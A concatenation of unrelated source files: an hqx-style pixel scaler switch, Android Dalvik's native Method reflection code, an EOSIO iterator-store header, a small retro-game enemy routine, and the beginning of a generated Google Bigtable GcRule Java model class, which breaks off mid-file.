P2 = I31(4, 3);
P3 = I31(4, 8);
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 119 :
{
P2 = I31(4, 3);
P3 = I31(4, 8);
if (MUR)
{
P0 = I31(4, 3);
P1 = IC(4);
}
else
{
P0 = I521(4, 1, 3);
P1 = I332(1, 5, 4);
}
}
break;
case 121 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
}
break;
case 122 :
{
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MDR)
{
P3 = I31(4, 8);
}
else
{
P3 = I611(4, 5, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 124 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
}
break;
case 125 :
{
P1 = I31(4, 1);
P3 = I31(4, 8);
if (MDL)
{
P0 = I31(4, 1);
P2 = IC(4);
}
else
{
P0 = I521(4, 3, 1);
P2 = I332(3, 7, 4);
}
}
break;
case 126 :
{
P0 = I31(4, 0);
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 127 :
{
P3 = I31(4, 8);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I1411(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 144 :
case 145 :
case 176 :
case 177 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 2);
P2 = I211(4, 3, 7);
P3 = I31(4, 7);
}
break;
case 146 :
case 178 :
{
P0 = I31(4, 0);
P2 = I211(4, 3, 7);
if (MUR)
{
P1 = I31(4, 2);
P3 = I31(4, 7);
}
else
{
P1 = I332(1, 5, 4);
P3 = I521(4, 5, 7);
}
}
break;
case 147 :
case 179 :
{
P0 = I31(4, 3);
P2 = I211(4, 3, 7);
P3 = I31(4, 7);
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 148 :
case 149 :
case 180 :
case 181 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 1);
P2 = I211(4, 3, 7);
P3 = I31(4, 7);
}
break;
case 150 :
case 182 :
{
P0 = I31(4, 0);
P2 = I211(4, 3, 7);
if (MUR)
{
P1 = IC(4);
P3 = I31(4, 7);
}
else
{
P1 = I332(1, 5, 4);
P3 = I521(4, 5, 7);
}
}
break;
case 151 :
case 183 :
{
P0 = I31(4, 3);
P2 = I211(4, 3, 7);
P3 = I31(4, 7);
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I1411(4, 1, 5);
}
}
break;
case 152 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 7);
}
break;
case 153 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 7);
}
break;
case 154 :
{
P2 = I31(4, 6);
P3 = I31(4, 7);
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 155 :
{
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 7);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 156 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
P2 = I31(4, 6);
P3 = I31(4, 7);
}
break;
case 157 :
{
P0 = I31(4, 1);
P1 = I31(4, 1);
P2 = I31(4, 6);
P3 = I31(4, 7);
}
break;
case 158 :
{
P2 = I31(4, 6);
P3 = I31(4, 7);
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 159 :
{
P2 = I31(4, 6);
P3 = I31(4, 7);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I1411(4, 1, 5);
}
}
break;
case 184 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 7);
P3 = I31(4, 7);
}
break;
case 185 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
P2 = I31(4, 7);
P3 = I31(4, 7);
}
break;
case 186 :
{
P2 = I31(4, 7);
P3 = I31(4, 7);
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 187 :
{
P1 = I31(4, 2);
P3 = I31(4, 7);
if (MUL)
{
P0 = IC(4);
P2 = I31(4, 7);
}
else
{
P0 = I332(1, 3, 4);
P2 = I521(4, 3, 7);
}
}
break;
case 188 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
P2 = I31(4, 7);
P3 = I31(4, 7);
}
break;
case 189 :
{
P0 = I31(4, 1);
P1 = I31(4, 1);
P2 = I31(4, 7);
P3 = I31(4, 7);
}
break;
case 190 :
{
P0 = I31(4, 0);
P2 = I31(4, 7);
if (MUR)
{
P1 = IC(4);
P3 = I31(4, 7);
}
else
{
P1 = I332(1, 5, 4);
P3 = I521(4, 5, 7);
}
}
break;
case 191 :
{
P2 = I31(4, 7);
P3 = I31(4, 7);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I1411(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I1411(4, 1, 5);
}
}
break;
case 192 :
case 193 :
case 196 :
case 197 :
{
P0 = I211(4, 1, 3);
P1 = I211(4, 1, 5);
P2 = I31(4, 6);
P3 = I31(4, 5);
}
break;
case 194 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 5);
}
break;
case 195 :
{
P0 = I31(4, 3);
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 5);
}
break;
case 198 :
{
P0 = I31(4, 0);
P1 = I31(4, 5);
P2 = I31(4, 6);
P3 = I31(4, 5);
}
break;
case 199 :
{
P0 = I31(4, 3);
P1 = I31(4, 5);
P2 = I31(4, 6);
P3 = I31(4, 5);
}
break;
case 200 :
case 204 :
{
P0 = I31(4, 0);
P1 = I211(4, 1, 5);
if (MDL)
{
P2 = I31(4, 6);
P3 = I31(4, 5);
}
else
{
P2 = I332(3, 7, 4);
P3 = I521(4, 7, 5);
}
}
break;
case 201 :
case 205 :
{
P0 = I31(4, 1);
P1 = I211(4, 1, 5);
P3 = I31(4, 5);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
}
break;
case 202 :
{
P1 = I31(4, 2);
P3 = I31(4, 5);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
}
break;
case 203 :
{
P1 = I31(4, 2);
P2 = I31(4, 6);
P3 = I31(4, 5);
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 206 :
{
P1 = I31(4, 5);
P3 = I31(4, 5);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
}
break;
case 207 :
{
P2 = I31(4, 6);
P3 = I31(4, 5);
if (MUL)
{
P0 = IC(4);
P1 = I31(4, 5);
}
else
{
P0 = I332(1, 3, 4);
P1 = I521(4, 1, 5);
}
}
break;
case 208 :
case 209 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 2);
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 210 :
case 216 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 211 :
{
P0 = I31(4, 3);
P1 = I31(4, 2);
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 212 :
case 213 :
{
P0 = I211(4, 1, 3);
P2 = I31(4, 6);
if (MDR)
{
P1 = I31(4, 1);
P3 = IC(4);
}
else
{
P1 = I521(4, 5, 1);
P3 = I332(5, 7, 4);
}
}
break;
case 215 :
{
P0 = I31(4, 3);
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I1411(4, 1, 5);
}
}
break;
case 217 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 218 :
{
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 219 :
{
P1 = I31(4, 2);
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 220 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
if (MDL)
{
P2 = I31(4, 6);
}
else
{
P2 = I611(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 221 :
{
P0 = I31(4, 1);
P2 = I31(4, 6);
if (MDR)
{
P1 = I31(4, 1);
P3 = IC(4);
}
else
{
P1 = I521(4, 5, 1);
P3 = I332(5, 7, 4);
}
}
break;
case 223 :
{
P2 = I31(4, 6);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I1411(4, 1, 5);
}
}
break;
case 224 :
case 225 :
case 228 :
case 229 :
{
P0 = I211(4, 1, 3);
P1 = I211(4, 1, 5);
P2 = I31(4, 3);
P3 = I31(4, 5);
}
break;
case 226 :
{
P0 = I31(4, 0);
P1 = I31(4, 2);
P2 = I31(4, 3);
P3 = I31(4, 5);
}
break;
case 227 :
{
P0 = I31(4, 3);
P1 = I31(4, 2);
P2 = I31(4, 3);
P3 = I31(4, 5);
}
break;
case 230 :
{
P0 = I31(4, 0);
P1 = I31(4, 5);
P2 = I31(4, 3);
P3 = I31(4, 5);
}
break;
case 231 :
{
P0 = I31(4, 3);
P1 = I31(4, 5);
P2 = I31(4, 3);
P3 = I31(4, 5);
}
break;
case 232 :
case 236 :
{
P0 = I31(4, 0);
P1 = I211(4, 1, 5);
if (MDL)
{
P2 = IC(4);
P3 = I31(4, 5);
}
else
{
P2 = I332(3, 7, 4);
P3 = I521(4, 7, 5);
}
}
break;
case 233 :
case 237 :
{
P0 = I31(4, 1);
P1 = I211(4, 1, 5);
P3 = I31(4, 5);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I1411(4, 3, 7);
}
}
break;
case 234 :
{
P1 = I31(4, 2);
P3 = I31(4, 5);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MUL)
{
P0 = I31(4, 0);
}
else
{
P0 = I611(4, 1, 3);
}
}
break;
case 235 :
{
P1 = I31(4, 2);
P3 = I31(4, 5);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I1411(4, 3, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 238 :
{
P0 = I31(4, 0);
P1 = I31(4, 5);
if (MDL)
{
P2 = IC(4);
P3 = I31(4, 5);
}
else
{
P2 = I332(3, 7, 4);
P3 = I521(4, 7, 5);
}
}
break;
case 239 :
{
P1 = I31(4, 5);
P3 = I31(4, 5);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I1411(4, 3, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I1411(4, 1, 3);
}
}
break;
case 240 :
case 241 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 2);
if (MDR)
{
P2 = I31(4, 3);
P3 = IC(4);
}
else
{
P2 = I521(4, 7, 3);
P3 = I332(5, 7, 4);
}
}
break;
case 242 :
{
P0 = I31(4, 0);
P2 = I31(4, 3);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
if (MUR)
{
P1 = I31(4, 2);
}
else
{
P1 = I611(4, 1, 5);
}
}
break;
case 243 :
{
P0 = I31(4, 3);
P1 = I31(4, 2);
if (MDR)
{
P2 = I31(4, 3);
P3 = IC(4);
}
else
{
P2 = I521(4, 7, 3);
P3 = I332(5, 7, 4);
}
}
break;
case 244 :
case 245 :
{
P0 = I211(4, 1, 3);
P1 = I31(4, 1);
P2 = I31(4, 3);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I1411(4, 5, 7);
}
}
break;
case 246 :
{
P0 = I31(4, 0);
P2 = I31(4, 3);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I1411(4, 5, 7);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 247 :
{
P0 = I31(4, 3);
P2 = I31(4, 3);
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I1411(4, 5, 7);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I1411(4, 1, 5);
}
}
break;
case 249 :
{
P0 = I31(4, 1);
P1 = I31(4, 2);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I1411(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
}
break;
case 251 :
{
P1 = I31(4, 2);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I1411(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I211(4, 5, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I211(4, 1, 3);
}
}
break;
case 252 :
{
P0 = I31(4, 0);
P1 = I31(4, 1);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I1411(4, 5, 7);
}
}
break;
case 253 :
{
P0 = I31(4, 1);
P1 = I31(4, 1);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I1411(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I1411(4, 5, 7);
}
}
break;
case 254 :
{
P0 = I31(4, 0);
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I211(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I1411(4, 5, 7);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I211(4, 1, 5);
}
}
break;
case 255 :
{
if (MDL)
{
P2 = IC(4);
}
else
{
P2 = I1411(4, 3, 7);
}
if (MDR)
{
P3 = IC(4);
}
else
{
P3 = I1411(4, 5, 7);
}
if (MUL)
{
P0 = IC(4);
}
else
{
P0 = I1411(4, 1, 3);
}
if (MUR)
{
P1 = IC(4);
}
else
{
P1 = I1411(4, 1, 5);
}
}
break;
| 20,463 |
1,306 | /*
* Copyright (C) 2008 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* java.lang.reflect.Method
*/
#include "Dalvik.h"
#include "native/InternalNativePriv.h"
/*
* static int getMethodModifiers(Class decl_class, int slot)
*
* (Not sure why the access flags weren't stored in the class along with
* everything else. Not sure why this isn't static.)
*/
static void Dalvik_java_lang_reflect_Method_getMethodModifiers(const u4* args,
JValue* pResult)
{
ClassObject* declaringClass = (ClassObject*) args[0];
int slot = args[1];
Method* meth;
meth = dvmSlotToMethod(declaringClass, slot);
RETURN_INT(dvmFixMethodFlags(meth->accessFlags));
}
/*
* private Object invokeNative(Object obj, Object[] args, Class declaringClass,
* Class[] parameterTypes, Class returnType, int slot, boolean noAccessCheck)
*
* Invoke a static or virtual method via reflection.
*/
static void Dalvik_java_lang_reflect_Method_invokeNative(const u4* args,
JValue* pResult)
{
// ignore thisPtr in args[0]
Object* methObj = (Object*) args[1]; // null for static methods
ArrayObject* argList = (ArrayObject*) args[2];
ClassObject* declaringClass = (ClassObject*) args[3];
ArrayObject* params = (ArrayObject*) args[4];
ClassObject* returnType = (ClassObject*) args[5];
int slot = args[6];
bool noAccessCheck = (args[7] != 0);
const Method* meth;
Object* result;
/*
* "If the underlying method is static, the class that declared the
* method is initialized if it has not already been initialized."
*/
meth = dvmSlotToMethod(declaringClass, slot);
assert(meth != NULL);
if (dvmIsStaticMethod(meth)) {
if (!dvmIsClassInitialized(declaringClass)) {
if (!dvmInitClass(declaringClass))
goto init_failed;
}
} else {
/* looks like interfaces need this too? */
if (dvmIsInterfaceClass(declaringClass) &&
!dvmIsClassInitialized(declaringClass))
{
if (!dvmInitClass(declaringClass))
goto init_failed;
}
/* make sure the object is an instance of the expected class */
if (!dvmVerifyObjectInClass(methObj, declaringClass)) {
assert(dvmCheckException(dvmThreadSelf()));
RETURN_VOID();
}
/* do the virtual table lookup for the method */
meth = dvmGetVirtualizedMethod(methObj->clazz, meth);
if (meth == NULL) {
assert(dvmCheckException(dvmThreadSelf()));
RETURN_VOID();
}
}
/*
* If the method has a return value, "result" will be an object or
* a boxed primitive.
*/
result = dvmInvokeMethod(methObj, meth, argList, params, returnType,
noAccessCheck);
RETURN_PTR(result);
init_failed:
/*
* If initialization failed, an exception will be raised.
*/
ALOGD("Method.invoke() on bad class %s failed",
declaringClass->descriptor);
assert(dvmCheckException(dvmThreadSelf()));
RETURN_VOID();
}
/*
* static Annotation[] getDeclaredAnnotations(Class declaringClass, int slot)
*
* Return the annotations declared for this method.
*/
static void Dalvik_java_lang_reflect_Method_getDeclaredAnnotations(
const u4* args, JValue* pResult)
{
ClassObject* declaringClass = (ClassObject*) args[0];
int slot = args[1];
Method* meth;
meth = dvmSlotToMethod(declaringClass, slot);
assert(meth != NULL);
ArrayObject* annos = dvmGetMethodAnnotations(meth);
dvmReleaseTrackedAlloc((Object*)annos, NULL);
RETURN_PTR(annos);
}
/*
* static Annotation getAnnotation(
* Class declaringClass, int slot, Class annotationType);
*/
static void Dalvik_java_lang_reflect_Method_getAnnotation(const u4* args,
JValue* pResult)
{
ClassObject* clazz = (ClassObject*) args[0];
int slot = args[1];
ClassObject* annotationClazz = (ClassObject*) args[2];
Method* meth = dvmSlotToMethod(clazz, slot);
RETURN_PTR(dvmGetMethodAnnotation(clazz, meth, annotationClazz));
}
/*
* static boolean isAnnotationPresent(
* Class declaringClass, int slot, Class annotationType);
*/
static void Dalvik_java_lang_reflect_Method_isAnnotationPresent(const u4* args,
JValue* pResult)
{
ClassObject* clazz = (ClassObject*) args[0];
int slot = args[1];
ClassObject* annotationClazz = (ClassObject*) args[2];
Method* meth = dvmSlotToMethod(clazz, slot);
RETURN_BOOLEAN(dvmIsMethodAnnotationPresent(clazz, meth, annotationClazz));
}
/*
* static Annotation[][] getParameterAnnotations(Class declaringClass, int slot)
*
* Return the annotations declared for this method's parameters.
*/
static void Dalvik_java_lang_reflect_Method_getParameterAnnotations(
const u4* args, JValue* pResult)
{
ClassObject* declaringClass = (ClassObject*) args[0];
int slot = args[1];
Method* meth;
meth = dvmSlotToMethod(declaringClass, slot);
assert(meth != NULL);
ArrayObject* annos = dvmGetParameterAnnotations(meth);
dvmReleaseTrackedAlloc((Object*)annos, NULL);
RETURN_PTR(annos);
}
/*
* private Object getDefaultValue(Class declaringClass, int slot)
*
* Return the default value for the annotation member represented by
* this Method instance. Returns NULL if none is defined.
*/
static void Dalvik_java_lang_reflect_Method_getDefaultValue(const u4* args,
JValue* pResult)
{
// ignore thisPtr in args[0]
ClassObject* declaringClass = (ClassObject*) args[1];
int slot = args[2];
Method* meth;
/* make sure this is an annotation class member */
if (!dvmIsAnnotationClass(declaringClass))
RETURN_PTR(NULL);
meth = dvmSlotToMethod(declaringClass, slot);
assert(meth != NULL);
Object* def = dvmGetAnnotationDefaultValue(meth);
dvmReleaseTrackedAlloc(def, NULL);
RETURN_PTR(def);
}
/*
* static Object[] getSignatureAnnotation()
*
* Returns the signature annotation.
*/
static void Dalvik_java_lang_reflect_Method_getSignatureAnnotation(
const u4* args, JValue* pResult)
{
ClassObject* declaringClass = (ClassObject*) args[0];
int slot = args[1];
Method* meth;
meth = dvmSlotToMethod(declaringClass, slot);
assert(meth != NULL);
ArrayObject* arr = dvmGetMethodSignatureAnnotation(meth);
dvmReleaseTrackedAlloc((Object*) arr, NULL);
RETURN_PTR(arr);
}
const DalvikNativeMethod dvm_java_lang_reflect_Method[] = {
{ "getMethodModifiers", "(Ljava/lang/Class;I)I",
Dalvik_java_lang_reflect_Method_getMethodModifiers },
{ "invokeNative", "(Ljava/lang/Object;[Ljava/lang/Object;Ljava/lang/Class;[Ljava/lang/Class;Ljava/lang/Class;IZ)Ljava/lang/Object;",
Dalvik_java_lang_reflect_Method_invokeNative },
{ "getDeclaredAnnotations", "(Ljava/lang/Class;I)[Ljava/lang/annotation/Annotation;",
Dalvik_java_lang_reflect_Method_getDeclaredAnnotations },
{ "getAnnotation", "(Ljava/lang/Class;ILjava/lang/Class;)Ljava/lang/annotation/Annotation;",
Dalvik_java_lang_reflect_Method_getAnnotation },
{ "isAnnotationPresent", "(Ljava/lang/Class;ILjava/lang/Class;)Z",
Dalvik_java_lang_reflect_Method_isAnnotationPresent },
{ "getParameterAnnotations", "(Ljava/lang/Class;I)[[Ljava/lang/annotation/Annotation;",
Dalvik_java_lang_reflect_Method_getParameterAnnotations },
{ "getDefaultValue", "(Ljava/lang/Class;I)Ljava/lang/Object;",
Dalvik_java_lang_reflect_Method_getDefaultValue },
{ "getSignatureAnnotation", "(Ljava/lang/Class;I)[Ljava/lang/Object;",
Dalvik_java_lang_reflect_Method_getSignatureAnnotation },
{ NULL, NULL, NULL },
};
| 2,997 |
13,162 | #pragma once
#include <eosio/chain/contract_table_objects.hpp>
#include <fc/utility.hpp>
#include <sstream>
#include <algorithm>
#include <set>
namespace eosio { namespace chain { namespace backing_store {
template<typename T>
class db_chainbase_iter_store {
public:
db_chainbase_iter_store(){
_end_iterator_to_table.reserve(8);
_iterator_to_object.reserve(32);
}
/// Returns end iterator of the table.
int cache_table( const table_id_object& tobj ) {
auto itr = _table_cache.find(tobj.id);
if( itr != _table_cache.end() )
return itr->second.second;
auto ei = index_to_end_iterator(_end_iterator_to_table.size());
_end_iterator_to_table.push_back( &tobj );
_table_cache.emplace( tobj.id, make_pair(&tobj, ei) );
return ei;
}
const table_id_object& get_table( table_id_object::id_type i )const {
auto itr = _table_cache.find(i);
EOS_ASSERT( itr != _table_cache.end(), table_not_in_cache, "an invariant was broken, table should be in cache" );
return *itr->second.first;
}
int get_end_iterator_by_table_id( table_id_object::id_type i )const {
auto itr = _table_cache.find(i);
EOS_ASSERT( itr != _table_cache.end(), table_not_in_cache, "an invariant was broken, table should be in cache" );
return itr->second.second;
}
const table_id_object* find_table_by_end_iterator( int ei )const {
EOS_ASSERT( ei < -1, invalid_table_iterator, "not an end iterator" );
auto indx = end_iterator_to_index(ei);
if( indx >= _end_iterator_to_table.size() ) return nullptr;
return _end_iterator_to_table[indx];
}
const T& get( int iterator ) {
EOS_ASSERT( iterator != -1, invalid_table_iterator, "invalid iterator" );
EOS_ASSERT( iterator >= 0, table_operation_not_permitted, "dereference of end iterator" );
EOS_ASSERT( (size_t)iterator < _iterator_to_object.size(), invalid_table_iterator, "iterator out of range" );
auto result = _iterator_to_object[iterator];
EOS_ASSERT( result, table_operation_not_permitted, "dereference of deleted object" );
return *result;
}
void remove( int iterator ) {
EOS_ASSERT( iterator != -1, invalid_table_iterator, "invalid iterator" );
EOS_ASSERT( iterator >= 0, table_operation_not_permitted, "cannot call remove on end iterators" );
EOS_ASSERT( (size_t)iterator < _iterator_to_object.size(), invalid_table_iterator, "iterator out of range" );
auto obj_ptr = _iterator_to_object[iterator];
if( !obj_ptr ) return;
_iterator_to_object[iterator] = nullptr;
_object_to_iterator.erase( obj_ptr );
}
int add( const T& obj ) {
auto itr = _object_to_iterator.find( &obj );
if( itr != _object_to_iterator.end() )
return itr->second;
_iterator_to_object.push_back( &obj );
_object_to_iterator[&obj] = _iterator_to_object.size() - 1;
return _iterator_to_object.size() - 1;
}
private:
map<table_id_object::id_type, pair<const table_id_object*, int>> _table_cache;
vector<const table_id_object*> _end_iterator_to_table;
vector<const T*> _iterator_to_object;
map<const T*,int> _object_to_iterator;
/// Precondition: std::numeric_limits<int>::min() < ei < -1
/// Iterator of -1 is reserved for invalid iterators (i.e. when the appropriate table has not yet been created).
inline size_t end_iterator_to_index( int ei )const { return (-ei - 2); }
/// Precondition: indx < _end_iterator_to_table.size() <= std::numeric_limits<int>::max()
inline int index_to_end_iterator( size_t indx )const { return -(indx + 2); }
}; /// class db_chainbase_iter_store
}}} // namespace eosio::chain::backing_store
| 1,785 |
640 | void InitVulcanLava(enemy *en)
{
en->enemyparama=myRand()%7;
}
unsigned char UpdateVulcanLava(enemy *en)
{
en->enemyposy+=(en->enemyframe>>2);
en->enemyposy--;
en->enemyposx+=en->enemyparama;
en->enemyposx-=3;
if((en->enemyposy>192)||
(en->enemyposx<4)||
(en->enemyposx>256-12))
return 0;
SMS_addSprite(en->enemyposx,en->enemyposy,VULCANLAVABASE+((stageframe>>2)%4));
return 1;
}
| 194 |
372 | <reponame>yoshi-code-bot/google-api-java-client-services
/*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
/*
* This code was generated by https://github.com/googleapis/google-api-java-client-services/
* Modify at your own risk.
*/
package com.google.api.services.bigtableadmin.v2.model;
/**
* Rule for determining which cells to delete during garbage collection.
*
* <p> This is the Java data model class that specifies how to parse/serialize into the JSON that is
* transmitted over HTTP when working with the Cloud Bigtable Admin API. For a detailed explanation
* see:
* <a href="https://developers.google.com/api-client-library/java/google-http-java-client/json">https://developers.google.com/api-client-library/java/google-http-java-client/json</a>
* </p>
*
* @author Google, Inc.
*/
@SuppressWarnings("javadoc")
public final class GcRule extends com.google.api.client.json.GenericJson {
/**
* Delete cells that would be deleted by every nested rule.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private Intersection intersection;
/**
* Delete cells in a column older than the given age. Values must be at least one millisecond, and
* will be truncated to microsecond granularity.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private String maxAge;
/**
* Delete all cells in a column except the most recent N.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.Integer maxNumVersions;
/**
* Delete cells that would be deleted by any nested rule.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private Union union;
/**
* Delete cells that would be deleted by every nested rule.
* @return value or {@code null} for none
*/
public Intersection getIntersection() {
return intersection;
}
/**
* Delete cells that would be deleted by every nested rule.
* @param intersection intersection or {@code null} for none
*/
public GcRule setIntersection(Intersection intersection) {
this.intersection = intersection;
return this;
}
/**
* Delete cells in a column older than the given age. Values must be at least one millisecond, and
* will be truncated to microsecond granularity.
* @return value or {@code null} for none
*/
public String getMaxAge() {
return maxAge;
}
/**
* Delete cells in a column older than the given age. Values must be at least one millisecond, and
* will be truncated to microsecond granularity.
* @param maxAge maxAge or {@code null} for none
*/
public GcRule setMaxAge(String maxAge) {
this.maxAge = maxAge;
return this;
}
/**
* Delete all cells in a column except the most recent N.
* @return value or {@code null} for none
*/
public java.lang.Integer getMaxNumVersions() {
return maxNumVersions;
}
/**
* Delete all cells in a column except the most recent N.
* @param maxNumVersions maxNumVersions or {@code null} for none
*/
public GcRule setMaxNumVersions(java.lang.Integer maxNumVersions) {
this.maxNumVersions = maxNumVersions;
return this;
}
/**
* Delete cells that would be deleted by any nested rule.
* @return value or {@code null} for none
*/
public Union getUnion() {
return union;
}
/**
* Delete cells that would be deleted by any nested rule.
* @param union union or {@code null} for none
*/
public GcRule setUnion(Union union) {
this.union = union;
return this;
}
@Override
public GcRule set(String fieldName, Object value) {
return (GcRule) super.set(fieldName, value);
}
@Override
